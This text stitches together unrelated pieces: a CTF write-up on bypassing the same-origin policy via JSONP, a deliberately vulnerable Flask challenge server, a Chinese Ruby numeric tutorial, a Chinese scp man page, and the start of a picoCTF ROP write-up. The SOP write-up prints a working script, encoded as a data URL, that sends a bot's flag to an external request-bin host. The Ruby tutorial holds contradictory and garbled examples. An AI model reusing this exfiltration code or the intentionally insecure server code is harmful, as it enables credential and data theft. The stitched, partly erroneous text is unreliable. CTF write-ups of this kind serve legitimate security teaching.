Two years ago there was a challenge called [Can you bypass the SOP?](https://jctf.team/BSidesTLV-2018/Can-you-bypass-the-SOP/) and this must be the follow-up.
We get two links. The first one contains a login form:
```html
<form class="login100-form validate-form" id="login" method="post">
<span class="login100-form-avatar">
<img src="images/avatar-01.jpg" alt="AVATAR">
</span>
<div class="wrap-input100 validate-input m-t-85 m-b-35" data-validate = "Enter username">
<input class="input100" type="text" name="username">
<span class="focus-input100" data-placeholder="Username"></span>
</div>
<div class="wrap-input100 validate-input m-b-50" data-validate="Enter password">
<input class="input100" type="password" name="pass">
<span class="focus-input100" data-placeholder="Password"></span>
</div>
<div class="container-login100-form-btn">
<button class="login100-form-btn">
Sign in
</button>
</div>
<div class="container-login100-form-btn" style="margin-top: 20px;">
<button class="login100-form-btn" id="select_div_SIGNIN">
<a href="#" onclick="signIn()">Join as a Guest</a>
</button>
</div>
</form>
```
The only button with an actual implementation is the "Join as a Guest" button:
```javascript
function signIn() {
let http = new XMLHttpRequest();
http.open('POST', 'signIn', true);
http.setRequestHeader('Content-type', 'application/json');
http.onreadystatechange = function() {//Call a function when the state changes.
if(http.readyState === 4 && http.status === 200) {
$.ajax({
dataType: 'jsonp',
jsonp: 'callback',
url: '/FetchUserInfo?callback=?',
success: function (data) {
$("#login").html(
`<span class="login100-form-title p-b-70">Welcome ${data.username}!</span>
<span class="login100-form-avatar">
<img src="images/avatar-01.jpg" alt="AVATAR"></span>
<div class="container-login100-form-btn" style="margin-top: 20px">
<button class="login100-form-btn" id="select_div_SIGNIN" onclick="signOut()">
Sign Out
</button>
</div>`);
}
});
}
};
http.send(JSON.stringify({username: "Guest"}));
}
```
The second link contains a form which we can use to send a bot to visit any link we'd like.
The guest sign-in flow uses [JSONP](https://en.wikipedia.org/wiki/JSONP) which is a cool and tricky "hack" to bypass the same-origin policy (SOP). If you're not familiar with it, take some time to read about it before continuing.
The flow is as follows:
1. The user clicks the "Join as a Guest" button
2. The `signIn()` function is triggered
3. It performs a `POST` request to `/signIn` with `username=Guest`
4. When the request completes, it performs a `JSONP` request to `/FetchUserInfo` and provides it with a callback via the `callback=?` parameter. This callback is created by jQuery and receives a random name during runtime, e.g. `jQuery3210941923338379376_1593543672495`
5. `/FetchUserInfo` returns with a response similar to the following: `typeof jQuery3210941923338379376_1593543672495 === 'function' && jQuery3210941923338379376_1593543672495({"username":"Guest","flag":"You are on the right track!","iat":1593544479});`. This actually calls the callback we've defined earlier **as a function**, and when included as a script allows bypassing the SOP since any site can include a script from any site.
6. The callback function can access the data and use it
As you can see, when we sign in to as guests, we receive a response which contains a "flag" member. Ours says "You are on the right track!" but probably when the bot logs in he receives the real flag. So, the trick is to get the bot to log in and leak us the response.
In our solution we used data URLs to get the bot to run Javascript for us. Here's how we did it:
First, we created a [Request Bin](https://requestbin.com) which is a service that logs all requests to a given endpoint. This allows us to "debug" and later on leak information from the bot's actions.
Then, we created the following script:
```html
<script src='https://code.jquery.com/jquery-3.5.1.min.js'></script>
<script>
function myCallback(data)
{
$.get('https://enpyz5s7lavr.x.pipedream.net/?action=callback&flag='+window.btoa(data.flag));
}
$.post('https://can-you-bypass-the-sop.ctf.bsidestlv.com/signIn', {"username":"Guest"}, function(data, status, xhr) {
$.get('https://enpyz5s7lavr.x.pipedream.net/?action=signIn');
$.getScript( "https://can-you-bypass-the-sop.ctf.bsidestlv.com/FetchUserInfo?callback=myCallback", function( data, textStatus, jqxhr ) {
$.get('https://enpyz5s7lavr.x.pipedream.net/?action=includeScript');
});
});
</script>
```
It starts by signing in as a guest. After successfully signing in, it calls the JSONP API to fetch the bot's user info, providing a callback to be called with the user info. The callback simply leaks the flag to us via the request bin.
Next, we encode the script as base64:
```
PHNjcmlwdCBzcmM9J2h0dHBzOi8vY29kZS5qcXVlcnkuY29tL2pxdWVyeS0zLjUuMS5taW4uanMnPjwvc2NyaXB0Pgo8c2NyaXB0PiAKZnVuY3Rpb24gbXlDYWxsYmFjayhkYXRhKQp7IAogICAgJC5nZXQoJ2h0dHBzOi8vZW5weXo1czdsYXZyLngucGlwZWRyZWFtLm5ldC8/YWN0aW9uPWNhbGxiYWNrJmZsYWc9Jyt3aW5kb3cuYnRvYShkYXRhLmZsYWcpKTsKfSAKCiQucG9zdCgnaHR0cHM6Ly9jYW4teW91LWJ5cGFzcy10aGUtc29wLmN0Zi5ic2lkZXN0bHYuY29tL3NpZ25JbicsIHsidXNlcm5hbWUiOiJHdWVzdCJ9LCBmdW5jdGlvbihkYXRhLCBzdGF0dXMsIHhocikgewogICQuZ2V0KCdodHRwczovL2VucHl6NXM3bGF2ci54LnBpcGVkcmVhbS5uZXQvP2FjdGlvbj1zaWduSW4nKTsKICAkLmdldFNjcmlwdCggImh0dHBzOi8vY2FuLXlvdS1ieXBhc3MtdGhlLXNvcC5jdGYuYnNpZGVzdGx2LmNvbS9GZXRjaFVzZXJJbmZvP2NhbGxiYWNrPW15Q2FsbGJhY2siLCBmdW5jdGlvbiggZGF0YSwgdGV4dFN0YXR1cywganF4aHIgKSB7CiAgICAkLmdldCgnaHR0cHM6Ly9lbnB5ejVzN2xhdnIueC5waXBlZHJlYW0ubmV0Lz9hY3Rpb249aW5jbHVkZVNjcmlwdCcpOwogIH0pOwp9KTsKPC9zY3JpcHQ+
```
And we prepend the data URL prefix:
```
data:text/html;base64,PHNjcmlwdCBzcmM9J2h0dHBzOi8vY29kZS5qcXVlcnkuY29tL2pxdWVyeS0zLjUuMS5taW4uanMnPjwvc2NyaXB0Pgo8c2NyaXB0PiAKZnVuY3Rpb24gbXlDYWxsYmFjayhkYXRhKQp7IAogICAgJC5nZXQoJ2h0dHBzOi8vZW5weXo1czdsYXZyLngucGlwZWRyZWFtLm5ldC8/YWN0aW9uPWNhbGxiYWNrJmZsYWc9Jyt3aW5kb3cuYnRvYShkYXRhLmZsYWcpKTsKfSAKCiQucG9zdCgnaHR0cHM6Ly9jYW4teW91LWJ5cGFzcy10aGUtc29wLmN0Zi5ic2lkZXN0bHYuY29tL3NpZ25JbicsIHsidXNlcm5hbWUiOiJHdWVzdCJ9LCBmdW5jdGlvbihkYXRhLCBzdGF0dXMsIHhocikgewogICQuZ2V0KCdodHRwczovL2VucHl6NXM3bGF2ci54LnBpcGVkcmVhbS5uZXQvP2FjdGlvbj1zaWduSW4nKTsKICAkLmdldFNjcmlwdCggImh0dHBzOi8vY2FuLXlvdS1ieXBhc3MtdGhlLXNvcC5jdGYuYnNpZGVzdGx2LmNvbS9GZXRjaFVzZXJJbmZvP2NhbGxiYWNrPW15Q2FsbGJhY2siLCBmdW5jdGlvbiggZGF0YSwgdGV4dFN0YXR1cywganF4aHIgKSB7CiAgICAkLmdldCgnaHR0cHM6Ly9lbnB5ejVzN2xhdnIueC5waXBlZHJlYW0ubmV0Lz9hY3Rpb249aW5jbHVkZVNjcmlwdCcpOwogIH0pOwp9KTsKPC9zY3JpcHQ+
```
Now, we just need to send the link to the bot:
```console
root@kali:/media/sf_CTFs/bsidestlv/SOP# curl 'https://can-you-bypass-the-sop.ctf.bsidestlv.com/bot' \
> -H 'Content-Type: application/json' \
> --data-binary '{"url":"data:text/html;base64,PHNjcmlwdCBzcmM9J2h0dHBzOi8vY29kZS5qcXVlcnkuY29tL2pxdWVyeS0zLjUuMS5taW4uanMnPjwvc2NyaXB0Pgo8c2NyaXB0PiAKZnVuY3Rpb24gbXlDYWxsYmFjayhkYXRhKQp7IAogICAgJC5nZXQoJ2h0dHBzOi8vZW5weXo1czdsYXZyLngucGlwZWRyZWFtLm5ldC8/YWN0aW9uPWNhbGxiYWNrJmZsYWc9Jyt3aW5kb3cuYnRvYShkYXRhLmZsYWcpKTsKfSAKCiQucG9zdCgnaHR0cHM6Ly9jYW4teW91LWJ5cGFzcy10aGUtc29wLmN0Zi5ic2lkZXN0bHYuY29tL3NpZ25JbicsIHsidXNlcm5hbWUiOiJHdWVzdCJ9LCBmdW5jdGlvbihkYXRhLCBzdGF0dXMsIHhocikgewogICQuZ2V0KCdodHRwczovL2VucHl6NXM3bGF2ci54LnBpcGVkcmVhbS5uZXQvP2FjdGlvbj1zaWduSW4nKTsKICAkLmdldFNjcmlwdCggImh0dHBzOi8vY2FuLXlvdS1ieXBhc3MtdGhlLXNvcC5jdGYuYnNpZGVzdGx2LmNvbS9GZXRjaFVzZXJJbmZvP2NhbGxiYWNrPW15Q2FsbGJhY2siLCBmdW5jdGlvbiggZGF0YSwgdGV4dFN0YXR1cywganF4aHIgKSB7CiAgICAkLmdldCgnaHR0cHM6Ly9lbnB5ejVzN2xhdnIueC5waXBlZHJlYW0ubmV0Lz9hY3Rpb249aW5jbHVkZVNjcmlwdCcpOwogIH0pOwp9KTsKPC9zY3JpcHQ+"}' && echo
Sent!
```
We inspect the Request Bin and observe that we have received a request:
```
/?action=callback&flag=QlNpZGVzVExWMjAyMHtKU09OUF9Jc19CeXBhc3NfVGhlX0NPUlNfQnlfRGVzaWduIX0=
```
Let's decode the flag:
```console
root@kali:/media/sf_CTFs/bsidestlv/SOP# echo QlNpZGVzVExWMjAyMHtKU09OUF9Jc19CeXBhc3NfVGhlX0NPUlNfQnlfRGVzaWduIX0= | base64 -d
BSidesTLV2020{JSONP_Is_Bypass_The_CORS_By_Design!}
```
|
sec-knowleage
|
from flask import Flask, abort, redirect, request, Response, session
from jinja2 import Template
import base64, json, os, random, re, subprocess, time, xml.sax
from cStringIO import StringIO
from rng import *
# ^FLAG^{FLAG-HASH}$FLAG$
flags = json.loads(os.getenv('FLAGS'))
os.unsetenv('FLAGS')
app = Flask(__name__)
templateCache = {}
def render(tpl, **kwargs):
if tpl not in templateCache:
templateCache[tpl] = Template(file('templates/%s.html' % tpl).read())
return templateCache[tpl].render(**kwargs)
@app.after_request
def add_header(r):
r.headers[" cache-control"] = "no-cache, no-store, must-revalidate"
r.headers["pragma"] = "no-cache"
r.headers["expires"] = "0"
r.headers['cache-control'] = "public, max-age=0"
return r
@app.route('/')
def index():
return render('home')
@app.route('/unlock', methods=['POST'])
def unlock():
code = int(request.form['code'])
cur = next(26)
time.sleep(5)
if code == cur:
return 'Unlocked successfully. Flag: ' + flags[1]
else:
return 'Code incorrect. Expected %08i' % cur
@app.route('/admin')
def admin():
return render('admin', location=location)
location = 'Front door'
@app.route('/get-config')
def getConfig():
return '<?xml version="1.0" encoding="UTF-8"?><config><location>%s</location></config>' % location
class Handler(xml.sax.ContentHandler):
def __init__(self):
self.location = None
def startElement(self, name, attrs):
if name == 'location':
self.location = ''
def endElement(self, name):
if name == 'location':
global location
location = self.location
self.location = None
def characters(self, content):
if self.location is not None:
self.location += content
@app.route('/set-config')
def setConfig():
data = request.args['data']
parser = xml.sax.make_parser()
parser.setContentHandler(Handler())
parser.parse(StringIO(data))
return redirect('admin')
app.run(host='0.0.0.0', port=80)
|
sec-knowleage
|
# 数值类
---
- https://www.kancloud.cn/imxieke/ruby-base/107300
---
# 数值类的构成
在数值类中,有像 -1、0、1、10 这样的表示整数的 `Integer` 类,也有像 0.1、3.141592 这样的具有精度的、表示浮点小数的 `Float` 类。
这些数值类都被定义为了 `Numeric` 类的子类。另外,`Integer` 类又可以分为两种,一种是表示计算机硬件可以处理的数值的 `Fixnum` 类,另外一种是表示比 `Fixnum` 更大的数值的 `Bignum` 类。
程序中用到的整数一般都是 `Fixnum` 类范围内的整数。如果使用的整数超过了 `Fixnum` 的范围,Ruby 就会自动将其转换为 `Bignum` 类。因此,在写程序的时候,我们几乎可以忽略上述整数类的区别。下面是计算 2 的 10 次幂以及 2 的 1000 次幂的例子,`**` 是表示乘方的运算符。
执行示例
```ruby
> irb --simple-prompt
>> n = 2 ** 10
=> 1024
>> n.class
=> Fixnum
>> m = 2 ** 1000
=> 1071508607186267320948425049060001810561404811705533607443750388370351051124936
1224931983788156958581275946729175531468251871452856923140435984577574698574803934
5677748242309854210746050623711418779541821530464749835819412673987675591655439460
77062914571196477686542167660429831652624386837205668069376
>> m.class
=> Bignum
```
Ruby 也可以处理有理数和复数。表示有理数用 `Rational` 类,表示复数用 `Complex` 类。
`Rational` 对象用“`Rational( 分子 , 分母 )`”的形式定义
上述这样的分数计算,可以用 `Rational` 对象改写成下面那样。我们还可以使用 `Rational.to_f` 方法将其转换为 `Float` 对象。
```ruby
a = Rational(2, 5)
b = Rational(1, 3)
p a #=> (2/5)
p b #=> (1/3)
c = a + b
p c #=> (11/15)
p c.to_f #=> 0.7333333333333333
```
`Complex` 对象用“`Complex( 实数 , 虚数 )`”的形式定义。以下是计算复数 2i 的 2 次幂的例子:
```ruby
c = Complex(0, 2) ** 2
p c #=> (-4+0i)
```
# 数值的字面量
数值对象的字面量
字面量 | 作用(括号内为 10 进制的值)
- | -
123 | 表示10 进制整数
0123 | 表示8 进制整数(83)
0o123 | 表示8 进制整数(83)
0d123 | 表示10 进制整数(123)
0x123 | 表示16 进制整数(291)
0b1111011 | 表示2 进制整数(123)
123.45 | 浮点小数
1.23e4 | 浮点小数的指数表示法(1.23×10 的4 次幂=12300.0)
1.23e-4 | 浮点小数的指数表示法(1.23×10 的-4 次幂=0.000123)
单纯的数字罗列表示 10 进制整数。以 `0b` 开头的数值表示 2 进制数,以 0 或者 `0o` 开头的数值表示 8 进制数,以 `0d` 开头的数值表示 10 进制数,以 `0x` 开头的数值表示 16 进制数。字面量中的 `_` 会被自动忽略。因此,在使用每 3 位数字间隔一下这样的数值表示方法时会十分方便。
```ruby
p 1234567 #=> 1234567
p 1_234_567 #=> 1234567
p 0b11111111 #=> 255
p 01234567 #=> 342391
p 0x12345678 #=> 305419896
```
包含小数点的数值为浮点小数。我们还可以采用有效数字与指数配合的科学计数法来表示浮点小数。格式为“有效数字”+“英文字母 e(或者 E)”+“表示指数的整数”。
```ruby
p 1.234 #=> 1.234
p 1.234e4 #=> 12340.0
p 1234e-4 #=> 0.0001234
```
# 算数运算
算数运算的运算符
运算符 | 运算
- | -
+ | 加法运算
- | 减法运算
* | 乘法运算
/ | 除法运算
% | 取余运算
** | 乘方运算
`Integer` 对象与 `Float` 对象的运算结果为 `Float` 对象。
`Integer` 对象之间、`Float` 对象之间的运算结果分别为 `Integer` 对象、`Float` 对象。
```ruby
p 1 + 1 #=> 2
p 1 + 1.0 #=> 2.0
p 2 - 1 #=> 1
p 2 - 1.0 #=> 1.0
p 3 * 2 #=> 6
p 3 * 2.0 #=> 6.0
p 3 * -2.0 #=> -6,0
p 5 / 2 #=> 2
p 5 / 2.0 #=> 2.5
p 5 % 2 #=> 1
p 5 % 2.0 #=> 1.0
p 5 ** 2 #=> 25
p 5 ** 0.5 #=> 2.23606797749979
p 5 ** -2.0 #=> 0.04
p 5 ** -2 #=> 0.04
```
这里需要注意的是,指数为负整数的乘方返回的结果是表示有理数的 `Rational` 对象。
```ruby
p 5 ** -2.0 #=> 0.04
p 5 ** -2 #=> (1/25)
```
**除法**
除了 / 和 % 以外,数值对象中还有一些与除法相关的方法。
- `x.div(y)`
返回 x 除以 y 后的商的整数。
```ruby
p 5.div(2) #=> 2
p 5.div(2.2) #=> 2
p -5.div(2) #=> -3
p -5.div(2.2) #=> -3
```
- `x.quo(y)`
返回 x 除以 y 后的商,如果 x、y 都是整数则返回 `Rational` 对象。
```ruby
p 5.quo(2) #=> (5/2)
p 5.quo(2.2) #=> 2.2727272727272725
p -5.quo(2) #=> (-5/2)
p -5.quo(2.2) #=> -2.2727272727272725
```
- `x.modulo(y)`
与 x % y 等价。
- `x.divmod(y)`
将 x 除以 y 后的商和余数作为数组返回。商是将 x / y 的结果去掉小数点后的部分而得到的值。余数的符号与 y 的符号一致,余数的值为 x % y 的结果。假设有运算式如下,
```ruby
ans=x.divmod(y)
```
这时,下面的等式是成立的。
```ruby
x==ans[0] *y + ans[1]
p 10.divmod(3.5) #=> [2, 3.0]
p 10.divmod(-3.5) #=> [-3, -0.5]
p -10.divmod(3.5) #=> [-3, 0.5]
p -10.divmod(-3.5) #=> [2, -3.0]
```
- `x.remainder(y)`
返回 x 除以 y 的余数,结果的符号与 x 的符号一致。
```ruby
p 10.remainder(3.5) #=> 3.0
p 10.remainder(-3.5) #=> 3.0
p -10.remainder(3.5) #=> -3.0
p -10.remainder(-3.5) #=> -3.0
```
另外,除数为 0 时,`Integer` 类会返回错误,而 `Float` 类则会返回 `Infinity`(无限大)或者 `NaN`(Not a Number)。如果再用这两个值进行运算,那么结果只会返回 `Infinity` 或者 `NaN`。程序把输入的数据直接用于运算的时候,除数有可能会为 0,我们应当注意避免这样的情况发生。
```ruby
p 1 / 0 #=> 错误(ZeroDivisionError)
p 1 / 0.0 #=> Infinity
p 0 / 0.0 #=> NaN
p 1.divmod(0) #=> 错误(ZeroDivisionError)
p 1.divmod(0.0) #=> 错误(FloatDomainError)
```
# Math 模块
`Math` 模块提供了三角函数、对数函数等常用的函数运算的方法。该模块中定义了模块函数和常量,例如,求平方根时,可以采用下述方法。
```ruby
p Math.sqrt(2) #=> 1.4142135623730951
```
Math 模块定义的方法
方法名 | 作用
- | -
acos(x) | 反余弦函数
acosh(x) | 反双曲余弦函数
asin(x) | 反正弦函数
asinh(x) | 反双曲正弦函数
atan(x) | 反正切函数
atan2(x, y) | 表示 4 个象限的反正切函数
atanh(x) | 反双曲正切函数
cbrt(x) | 立方根
cos(x) | 余弦函数
cosh(x) | 双曲余弦函数
erf(x) | 误差函数
erfc(x) | 余补误差函数
exp(x) | 指数函数
frexp(x) | 把一个浮点数分解为尾数和指数
gamma(x) | 伽玛函数
hypot(x, y) | 计算三角形的斜边长度
ldexp(x, y) | 返回 x 乘以 2 的 y 次幂的值
lgamma(x) | 伽马函数的自然对数
log(x) | 底数为 e 的对数(自然对数)
log10(x) | 底数为 10 的对数(常用对数)
log2(x) | 底数为 2 的对数
sin(x) | 正弦函数
sinh(x) | 双曲正弦函数
sqrt(x) | 平方根
tan(x) | 正切函数
tanh(x) | 双曲正切函数
Math 模块定义的常量
常量名 | 作用
- | -
PI | 圆周率(3.141592653589793)
E | 自然对数的底数(2.718281828459045)
# 数值类型转换
将 `Integer` 对象转换为 `Float` 对象时,可以使用 `to_f` 方法。相反,使用 `to_i` 方法则可以将 `Float` 对象转换为 `Integer` 对象(`Integer.to_i` 方法和 `Float.to_f` 方法返回与接收者一样的值)。另外,也可以把字符串转换为数值。
```ruby
p 10.to_f #=> 10.0
p 10.8.to_i #=> 10
p -10.8.to_i #=> -10
p "123".to_i #=> 123
p "12.3".to_f #=> 12.3
```
`Float.to_i` 方法返回的结果会把小数点以后的值去掉。我们用 `round` 方法对小数进行四舍五入的处理。
```ruby
p 1.2.round #=> 1
p 1.8.round #=> 2
p -1.2.round #=> -1
p -1.8.round #=> -2
```
返回比接收者大的最小整数用 `ceil` 方法,返回比接收者小的最大整数用 `floor` 方法。
```ruby
p 1.5.ceil #=> 2
p -1.5.ceil #=> -1
p 1.5.floor #=> 1
p -1.5.floor #=> -2
```
我们还可以将数值转换为 `Rational` 对象和 `Complex` 对象,分别使用 `to_r` 和 `to_c` 方法,如下所示。
```ruby
p 1.5.to_r #=> (3/2)
p 1.5.to_c #=> (1.5+0i)
```
# 位运算
`Integer` 类的位运算符
运算符 | 运算
- | -
`~` | 按位取反(一元运算符)
`&` | 按位与
`|` | 按位或
`^` | 按位异或 ((a&~b|~a&b))
`>>` | 位右移
`<<` | 位左移
```ruby
def pb(i)
# 使用printf 的%b 格式
# 将整数的末尾8 位用2 进制表示
printf("%08b\n", i & 0b11111111)
end
b = 0b11110000
pb(b) #=> 11110000
pb(~b) #=> 00001111
pb(b & 0b00010001) #=> 00010000
pb(b | 0b00010001) #=> 11110001
pb(b ^ 0b00010001) #=> 11100001
pb(b >> 3) #=> 00011110
pb(b << 3) #=> 10000000
```
# 随机数
有时候随机性可能会帮助我们解决一些问题。随机性一般有以下特质。
- 没有规则和法则依据
- 一定范围内的数会均等地出现
拿掷骰子为例,我们不能预测下一个投出的是哪一面,但骰子各个面投出的几率都是一样的。我们把这样的情况称为随机,随机得到的数值称为随机数。在掷骰子或者洗扑克牌那样需要偶然性的情况下,或者像加密后的密码那样希望得到一些难以被预测的数据时,一般都会用到随机数。
我们可以用 `Random.rand` 方法得到随机数。不指定参数时,`Random.rand` 方法返回比 1 小的浮点小数。参数为正整数时,返回 0 到该正整数之间的数值。
```ruby
p Random.rand #=> 0.13520495197709
p Random.rand(100) #=> 31
p Random.rand(100) #=> 84
```
程序不能生成真正的随机数,只能通过某种算法生成看起来像随机数的值,这样的随机数称为模拟随机数。生成模拟随机数需要以某个值为基础,这个值称为随机数的种子。模拟随机数终究只是通过计算得到的数值,只要随机数的种子一样,那么得到值就有可能重复出现。使用 `Random.new` 方法初始化随机数生成器,然后再使用 `Random.rand` 方法,就可以对 `Random` 对象指定随机数种子,从而生成随机数。
```ruby
r1 = Random.new(1) # 初始化随机数组
p [r1.rand, r1.rand]
#=> [0.417022004702574, 0.7203244934421581]
r2 = Random.new(1) # 再次初始化随机数组
p [r2.rand, r2.rand]
#=> [0.417022003702574, 0.7203244934421581]
```
`Random.new` 方法不指定参数的情况下,则会用随机生成的随机数种子初始化 `Random` 对象,因此每次得到的随机数组也会不一样。
```ruby
r1 = Random.new
p [r1.rand, r1.rand]
#=> [0.49452535392946817, 0.34141702823098863]
r2 = Random.new
p [r2.rand, r2.rand]
#=> [0.9464262066747281, 0.01911968591048996]
```
在信息安全领域中,“优质的随机”是一个重要的课题。生成用于加密 key 的随机数时,不能重复出现是非常重要的,因此就需要我们慎重地选择难以被预测的随机种子。在一些特殊的情况下可能会需要初始化 `Random` 对象,而一般情况下直接用最开始介绍的 `Random.rand` 方法就足够了。
# 计数
除了数值计算外,`Integer` 类还能计算处理的次数、数组的元素个数等。接下来介绍的方法就是按照数值指定的次数执行循环处理的迭代器。
- `n.times{|i| … }`
循环 n 次,从 0 到 n-1 的值会被依次赋值给块变量。
```ruby
ary = []
10.times do |i|
ary << i
end
p ary #=> [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
```
- `from.upto(to){|i| … }`
从 from 开始循环对 i 进行加 1 处理,直到 i 等于 to。from 比 to 大时不会执行循环处理。
```ruby
ary = []
2.upto(10) do |i|
ary << i
end
p ary #=> [2, 3, 4, 5, 6, 7, 8, 9, 10]
```
- `from.downto(to){…}`
从 from 开始循环对 i 进行减 1 处理,直到 i 等于 to。from 比 to 小时不会执行循环处理。
```ruby
ary = []
10.downto(2) do |i|
ary << i
end
p ary #=> [10, 9, 8, 7, 6, 5, 4, 3, 2]
```
- `from.step(to, step){…}`
从 from 开始循环对 i 进行加 step 处理,直到 i 等于 to。step 为正数时,from 比 to 大时不会执行循环处理。step 为负数时,from 比 to 小时不会执行循环处理。
```ruby
ary = []
2.step(10, 3) do |i|
ary << i
end
p ary #=> [2, 5, 8]
ary = []
10.step(2, -3) do |i|
ary << i
end
p ary #=> [10, 7, 4]
```
如果不对 `times`、`upto`、`downto`、`step` 的各方法指定块,则会返回 `Enumerator` 对象。这样,之前通过 `step` 方法的块获取的一连串数值,就同样也可以通过 `Enumerator.collect` 方法获取。
```ruby
ary = 2.step(10).collect{|i| i * 2}
p ary #=> [4, 6, 8, 10, 12, 14, 16, 18, 20]
```
# 近似值误差
处理浮点小数时很容易因误差产生问题。这里我们来看看具体的例子,执行下面的程序后会产生意想不到的结果。
```ruby
a = 0.1 + 0.2
b = 0.3
p [a, b] #=> [0.3, 0.3]
p a == b #=> false
```
虽然我们期待 0.1 + 0.2 与 0.3 的比较结果为 `true`,但实际结果却是 `false`。为什么会这样呢?
在 10 进制中,就像 1/10、1/100、1/1000……这样,我们会用 10 取幂后的倒数来表示数值。而另一方面,`Float` 类的浮点小数则是用 2 取幂后的倒数来表示,如 1/2、1/4、1/8……。因此,在处理 1/5、1/3 这种用 2 进制无法正确表示的数值时,结果就会产生误差。而如果要用 2 进制的和来表示这类数值的话,计算机就必须在适当的位置截断计算结果,这样就产生了近似值误差。
如果可以把小数转换为两个整数相除的形式,那么通过使用 `Rational` 类进行运算,就可以避免近似值误差。
```ruby
a = Rational(1, 10) + Rational(2, 10)
b = Rational(3, 10)
p [a, b] #=> [(3/10), (3/10)]
p a == b
```
另外,Ruby 还提供了 `bigdecimal` 库,可以有效处理拥有更多小数位的 10 进制数。
**Comparable 模块**
Ruby 的比较运算符(`==`、`<=` 等)实际上都是方法。`Comparable` 模块里封装了比较运算符,将其 `Mix-in` 到类后,就可以实现实例间互相比较的方法。Comparable 在英语中就是“可以比较”的意思。
Comparable 模块封装的方法
- `<>`
- `==`
- `>=`
- `>`
- `between?`
Comparable 模块中的各运算符都会使用 `<=>` 运算符的结果。`<=>` 运算符如果能像下表那样定义的话,上表中的各个方法就都可以使用。
状态 | 结果
- | -
a <> 时 | -1(比 0 小)
a == b 时 | 0
a > b 时 | 1(比 0 大)
下面的 `Vector` 类表示拥有 x 和 y 两个坐标的向量。为了比较向量间的坐标,这里定义了 `<=>` 运算符。然后,通过包含(include)`Comparable` 模块,就可以实现上表中的比较方法。
```ruby
class Vector
include Comparable
attr_accessor :x, :y
def initialize(x, y)
@x, @y = x, y
end
def scalar
Math.sqrt(x ** 2 + y ** 2)
end
def <=> (other)
scalar <=> other.scalar
end
end
v1 = Vector.new(2, 6)
v2 = Vector.new(4, -4)
p v1 <=> v2 #=> 1
p v1 < v2 #=> false
p v1 > v2 #=> true
```
|
sec-knowleage
|
.\" -*- nroff -*-
.\"
.\" scp.1
.\"
.\" Author: Tatu Ylonen <ylo@cs.hut.fi>
.\"
.\" Copyright (c) 1995 Tatu Ylonen <ylo@cs.hut.fi>, Espoo, Finland
.\" All rights reserved
.\"
.\" Created: Sun May 7 00:14:37 1995 ylo
.\"
.\" $OpenBSD: scp.1,v 1.27 2003/03/28 10:11:43 jmc Exp $
.\"
.Dd September 25, 1999
.Dt SCP 1
.Os
.Sh NAME
.Nm scp
.Nd 安全复制(远程文件复制程序)
.Sh 总览 SYNOPSIS
.Nm scp
.Bk -words
.Op Fl pqrvBC1246
.Op Fl F Ar ssh_config
.Op Fl S Ar program
.Op Fl P Ar port
.Op Fl c Ar cipher
.Op Fl i Ar identity_file
.Op Fl l Ar limit
.Op Fl o Ar ssh_option
.Sm off
.Oo
.Op Ar user@
.Ar host1 No :
.Oc Ns Ar file1
.Sm on
.Op Ar ...
.Sm off
.Oo
.Op Ar user@
.Ar host2 No :
.Oc Ar file2
.Sm on
.Ek
.Sh 描述 DESCRIPTION
.Nm
在网络中的主机间进行文件复制。
它用
.Xr ssh 1
来传输及验证数据,提供与
.Xr ssh 1 相同的安全保护。
它不象
.Xr rcp 1 ,
.Nm
会根据需要询问口令。
.Pp
在任何文件名中都可以包含主机名和用户名,用来指定从/向该主机复制此文件。
Copies between two remote hosts are permitted.
.Pp
The options are as follows:
.Bl -tag -width Ds
.It Fl c Ar cipher
Selects the cipher to use for encrypting the data transfer.
This option is directly passed to
.Xr ssh 1 .
.It Fl i Ar identity_file
Selects the file from which the identity (private key) for RSA
authentication is read.
This option is directly passed to
.Xr ssh 1 .
.It Fl l Ar limit
Limits the used bandwidth, specified in Kbit/s.
.It Fl p
Preserves modification times, access times, and modes from the
original file.
.It Fl r
递归复制整个目录。
.It Fl v
详细模式。该选项使
.Nm
和
.Xr ssh 1
打印出关于运行情况的调试信息。在进行调试连接、验证和配置问题时,这会很有用的
.It Fl B
用批模式(避免重复询问口令)。
.It Fl q
Disables the progress meter.
.It Fl C
允许压缩。向
.Xr ssh 1
传递
.Fl C
标志以允许压缩。
.It Fl F Ar ssh_config
Specifies an alternative
per-user configuration file for
.Nm ssh .
This option is directly passed to
.Xr ssh 1 .
.It Fl P Ar port
Specifies the port to connect to on the remote host.
Note that this option is written with a capital
.Sq P ,
because
.Fl p
is already reserved for preserving the times and modes of the file in
.Xr rcp 1 .
.It Fl S Ar program
Name of
.Ar program
to use for the encrypted connection.
The program must understand
.Xr ssh 1
options.
.It Fl o Ar ssh_option
Can be used to pass options to
.Nm ssh
in the format used in
.Xr ssh_config 5 .
This is useful for specifying options
for which there is no separate
.Nm scp
command-line flag.
.It Fl 1
Forces
.Nm
to use protocol 1.
.It Fl 2
Forces
.Nm
to use protocol 2.
.It Fl 4
Forces
.Nm
to use IPv4 addresses only.
.It Fl 6
Forces
.Nm
to use IPv6 addresses only.
.El
.Sh DIAGNOSTICS
.Nm
exits with 0 on success or >0 if an error occurred.
.Sh 作者 AUTHORS
Timo Rinne <tri@iki.fi> 和 Tatu Ylonen <ylo@cs.hut.fi>
.Sh 历史 HISTORY
.Nm
基于University of California BSD 的
.Xr rcp 1
源代码
.Sh 参见 SEE ALSO
.Xr rcp 1 ,
.Xr sftp 1 ,
.Xr ssh 1 ,
.Xr ssh-add 1 ,
.Xr ssh-agent 1 ,
.Xr ssh-keygen 1 ,
.Xr ssh_config 5 ,
.Xr sshd 8
.Sh "[中文版维护人]"
meaculpa <meaculpa@21cn.com>
.Sh "[中文版最新更新]"
2000/12/08
.Sh "《中国linux论坛man手册页翻译计划》:"
http://cmpp.linuxforum.net
|
sec-knowleage
|
# rop32
Binary Exploitation, 400 points
## Description:
> Can you exploit the following program to get a flag?
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 16
void vuln() {
char buf[16];
printf("Can you ROP your way out of this one?\n");
return gets(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
vuln();
}
```
## Solution:
This challenge is similar to last year's [can-you-gets-me](/2018_picoCTF/can-you-gets-me.md). We use the same strategy as last year, utilizing [ROPGadget](https://github.com/JonathanSalwan/ROPgadget) to create the ROP gadget for us.
